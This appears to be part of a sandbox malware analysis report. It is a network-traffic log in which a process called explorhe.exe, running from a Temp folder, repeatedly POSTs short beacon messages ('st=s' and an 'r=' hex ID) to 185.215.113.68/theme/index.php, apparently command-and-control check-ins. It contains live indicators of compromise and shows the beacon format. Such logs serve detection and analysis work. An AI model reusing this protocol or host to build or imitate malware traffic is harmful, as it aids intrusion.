Jan 18, 2024 00:37:14.290102005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.6	50438	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:14.646295071 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:14.886022091 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.6	50439	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:15.152637959 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:15.391055107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.6	50440	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:15.767376900 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:16.005860090 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.6	50441	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:16.262851954 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:16.498970032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.6	50442	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:16.870428085 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:17.103629112 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.6	50443	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:17.361938953 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:17.606333971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.6	50444	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:18.014223099 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:18.252826929 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.6	50445	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:18.502548933 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:18.740293980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.6	50446	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:19.116492987 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:19.349272013 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.6	50447	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:19.610964060 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:19.854878902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.6	50448	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:20.227683067 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:20.466909885 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.6	50449	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:20.715434074 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:20.954602957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.6	50450	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:21.316045046 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:21.549185038 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.6	50451	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:21.801227093 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:22.039371967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.6	50452	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:23.457086086 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:23.695482016 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.6	50453	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:23.952028990 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:24.191968918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.6	50454	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:24.566415071 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:24.805722952 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.6	50455	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:25.050610065 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:25.288846970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.6	50456	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:25.667284966 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:25.906824112 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.6	50457	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:26.158411026 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:26.403731108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.6	50458	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:26.791569948 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:27.024607897 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.6	50459	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:27.266196966 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:27.503498077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.6	50460	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:27.872636080 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:28.103753090 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.6	50461	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
